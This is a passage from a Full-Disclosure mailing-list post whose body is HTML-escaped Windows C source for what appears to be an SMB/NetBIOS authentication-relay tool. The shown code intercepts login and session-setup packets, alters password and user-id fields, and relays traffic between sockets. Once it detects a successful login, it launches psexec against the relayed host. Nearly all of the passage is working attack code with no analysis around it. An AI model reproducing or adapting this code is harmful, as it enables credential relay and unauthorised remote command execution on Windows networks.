packet.");<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //&nbsp;&nbsp;&nbsp;&nbsp; printf("\n send \
login ok packet.");<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //&nbsp;&nbsp;&nbsp;&nbsp; \
newsend(rnetinfo.fd,rnetinfo.buff73ok,rnetinfo.long73ok,0);<BR>&nbsp;&nbsp;//&nbsp;return;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;changepass(&amp;rnetinfo.buff,&amp;rnetinfo.buff73);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
memcpy(rnetinfo.buff+0x20,rnetinfo.buff73ok+0x20,2);&nbsp; //user \
id<BR>&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp; }<BR>&nbsp; }<BR> &nbsp;&nbsp;&nbsp;&nbsp; \
if(memcmp(rnetinfo.buff,rnetinfo.namereq,3)==0) <BR>&nbsp; {<BR>&nbsp;&nbsp; \
if(rnetinfo.loginok==FALSE) <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
rnetinfo.recvbytes=newsend(rnetinfo.fd3,rnetinfo.namebuff,0x48,0);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
//&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("\n send fd3 0x%x 0x%x \
bytes.",rnetinfo.namebuff[0],rnetinfo.recvbytes);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
}<BR>&nbsp;&nbsp; else <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
rnetinfo.recvbytes=newsend(rnetinfo.fd,rnetinfo.buff0x82,0x6,0);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
//&nbsp; rnetinfo.recvbytes=newsend(rnetinfo.fd3,rnetinfo.namebuff,0x48,0);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
//&nbsp;&nbsp;&nbsp;&nbsp; printf("\n send fd3 0x%x 0x%x \
bytes.",rnetinfo.namebuff[0],rnetinfo.recvbytes);<BR>&nbsp;&nbsp; }  \
<BR>&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp; else<BR>&nbsp; {<BR> &nbsp;&nbsp; \
if(rnetinfo.loginok==FALSE) \
rnetinfo.recvbytes=newsend(rnetinfo.fd3,rnetinfo.buff,rnetinfo.recvbytes,0);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
else<BR>&nbsp;&nbsp; {<BR>&nbsp;&nbsp;//&nbsp; \
memcpy(rnetinfo.buff73+0x1c,rnetinfo.buff73ok+0x1c,8);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
rnetinfo.recvbytes=newsend(rnetinfo.fd3,rnetinfo.buff,rnetinfo.recvbytes,0);&nbsp; \
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } <BR> <BR>&nbsp;&nbsp;&nbsp; //&nbsp; \
printf("\n send fd3 0x%x 0x%x bytes.",rnetinfo.buff[8],rnetinfo.recvbytes);<BR>&nbsp;<BR>&nbsp; \
}<BR>&nbsp;&nbsp;&nbsp;&nbsp; return(FALSE);<BR>}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR> \
&nbsp;<BR> BOOL&nbsp; rnetchangepacket2(RNET *rnetinfoadd)<BR>{<BR>
&nbsp; RNET rnetinfo=*rnetinfoadd;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; \
if(rnetinfo.buff[0x8]==0x72)<BR>&nbsp; \
{<BR>&nbsp;&nbsp;&nbsp;if(rnetinfo.loginok==FALSE){<BR>&nbsp;&nbsp;&nbsp;&nbsp; \
memcpy(rnetinfo.buff72,rnetinfo.buff,rnetinfo.recvbytes);<BR>&nbsp;&nbsp;&nbsp;//&nbsp; \
memset(rnetinfo.buff+0xc,0,4);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
*rnetinfo.long72add=rnetinfo.recvbytes;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
}<BR>&nbsp;&nbsp;&nbsp;<BR> &nbsp; }<BR>&nbsp;&nbsp;&nbsp;&nbsp; \
if(rnetinfo.buff[0x8]==0x73||rnetinfo.buff[0x8]==0x75)<BR>&nbsp; \
{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(*(int \
*)(rnetinfo.buff+9)==0&amp;&amp;rnetinfo.buff73[0x33]==0x18&amp;&amp;rnetinfo.loginok==FALSE)<BR>&nbsp;&nbsp;&nbsp; \
{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
memcpy(rnetinfo.buff73ok,rnetinfo.buff,rnetinfo.recvbytes);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
*rnetinfo.long73okadd=rnetinfo.recvbytes;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
//&nbsp;&nbsp; rnetinfo.loginok=TRUE; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //&nbsp;&nbsp; \
closesocket(rnetinfo.fd2);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("\n now login \
ok!");<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // \
rnetinfo.recvbytes=  0;&nbsp; <BR>&nbsp;&nbsp;&nbsp;//&nbsp;&nbsp; \
return(TRUE);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
}<BR>&nbsp;&nbsp;&nbsp; <BR> &nbsp; }<BR>
<BR>&nbsp;&nbsp;&nbsp; \
if(rnetinfo.loginok==FALSE&amp;&amp;rnetinfo.buff[0x8]==0x32&amp;&amp;rnetinfo.buff[9]!=0&amp;&amp;rnetinfo.buff73[0x33]==0x18)<BR>&nbsp; \
{<BR>&nbsp;&nbsp; //&nbsp;&nbsp;&nbsp;&nbsp; *(int *)(rnetinfo.buff+9)=0xc0000016;<BR>&nbsp; \
}&nbsp; <BR> &nbsp; rnetinfo.recvbytes=newsend(rnetinfo.fd,rnetinfo.buff,rnetinfo.recvbytes,0);<BR>&nbsp;&nbsp;&nbsp;&nbsp; \
if(rnetinfo.loginok==FALSE&amp;&amp;rnetinfo.buff[0x8]==0x32&amp;&amp;rnetinfo.buff[9]!=0&amp;&amp;rnetinfo.buff73[0x33]==0x18)<BR>&nbsp; \
{<BR>&nbsp;&nbsp;&nbsp; //&nbsp; closesocket(rnetinfo.fd2);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
//&nbsp;&nbsp; return(TRUE);<BR>&nbsp; }&nbsp; <BR> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
//&nbsp;&nbsp; printf("\n send fd 0x%x 0x%x bytes.",rnetinfo.buff[8],rnetinfo.recvbytes);<BR> \
&nbsp;&nbsp;&nbsp;&nbsp; return(FALSE);<BR>}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>int \
waitfd4(RNET *rnetinfo,RSERVER *rinfoadd)<BR>{<BR> //&nbsp;RNET&nbsp;&nbsp;&nbsp;&nbsp; \
rnetinfo=*rnet;<BR>&nbsp;RSERVER&nbsp; rinfo=*rinfoadd;<BR>&nbsp;int \
i,j,k,threadhandle,exitcode;<BR>&nbsp;unsigned char name;<BR>&nbsp;char \
*ipbuff[0x100];<BR>&nbsp;PSINFO&nbsp;&nbsp; psinfo;<BR>&nbsp;&nbsp;&nbsp; struct&nbsp; \
sockaddr_in s_in1,s_in2,s_in4;<BR>&nbsp;&nbsp;&nbsp; struct sockaddr \
addr2;<BR>&nbsp;&nbsp;&nbsp; DWORD&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
ThreadID;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp \
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
rnetinfo-&gt;loginok=TRUE;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
s_in1.sin_addr.s_addr=rinfo.iprnetbios;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
wsprintf(ipbuff,"%s",inet_ntoa(s_in1.sin_addr));<BR>&nbsp;&nbsp;  \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
psinfo.ip=&amp;ipbuff;<BR>/*<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; i=*(WORD \
*)(rnetinfo-&gt;buff73+0x27);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb \
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; \
j=*(unsigned char *)(rnetinfo-&gt;buff73+0x4+i);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
i+=*(WORD *)(rnetinfo-&gt;buff73+i+0x0b);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
i=i+2*j+7;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; psinfo.filename=rnetinfo-&gt;buff73+i;<BR> \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; j=1;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
if(psinfo.filename[1]==0) \
j=2;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
for(i=0,k=0;i&lt;0x100;i+=j,++k)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;& \
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
name=psinfo.filename[i];<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n \
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
psinfo.filename[k]=name;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp  \
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
//&nbsp;&nbsp; if(i==0&amp;&amp;name=='\\') \
k-=1;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb \
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR> \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
for(i=strlen(psinfo.filename);i&gt;0;--i)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;& \
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
name=psinfo.filename[i];<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
if(name=='\\')<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
strcpy(psinfo.filename,psinfo.filename+i+1);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
break;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n
  bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
                }<BR>
*/<BR>&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
psinfo.filename=rnetinfo-&gt;filename;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
j=1;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(rnetinfo-&gt;filename[1]==0) \
j=2;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
for(i=0,k=0;i&lt;0x100;i+=j,++k)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb
  sp;&nbsp;&nbsp; name=rnetinfo-&gt;filename[i];<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n \
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
rnetinfo-&gt;filename[k]=name;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n \
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
if(i==0&amp;&amp;name=='\\') \
k-=1;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb \
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR> \
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("\n filename=%s\n",psinfo.filename);<BR> \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
threadhandle=CreateThread((LPSECURITY_ATTRIBUTES)NULL,(DWORD)0,(LPTHREAD_START_ROUTINE)psexec,(L \
PVOID)&amp;psinfo,(DWORD)0,(LPDWORD)&amp;ThreadID);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;break;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
while(1){<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
Sleep(5);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp \
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
if(rnetinfo-&gt;loginok==TRUE)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;& \
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&
  nbsp;&nbsp; i=GetExitCodeThread(threadhandle,&amp;exitcode);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
if(i==1&amp;&amp;exitcode!=STILL_ACTIVE){<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
//&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("\n psexec exit 0x%x \
code",exitcode);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
break;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;& \
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
<BR>&nbsp;&nbsp;  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
i=sizeof(struct sockaddr);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
rnetinfo-&gt;fd4=accept(rinfo.socketserver,&amp;addr2,&amp;i);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n \
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
memcpy(&amp;s_in4,&amp;addr2,15);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
if(rnetinfo-&gt;fd4&gt;0)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
if(s_in4.sin_addr.s_addr!=rinfo.ippsexec){<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n
  bsp; printf("\n fd4 \
error.");<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
closesocket(rnetinfo-&gt;fd4);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;& \
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
else<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; { \
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("\n fd4 ok! \
ip=%s",ipbuff);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
break;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
<BR> &nbsp; return(threadhandle);<BR>}<BR><BR> 		 	   		  </body>
</html>



_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[prev in list] [next in list] [prev in thread] [next in thread] 

Configure | About | News | Add a list | Sponsored by KoreLogic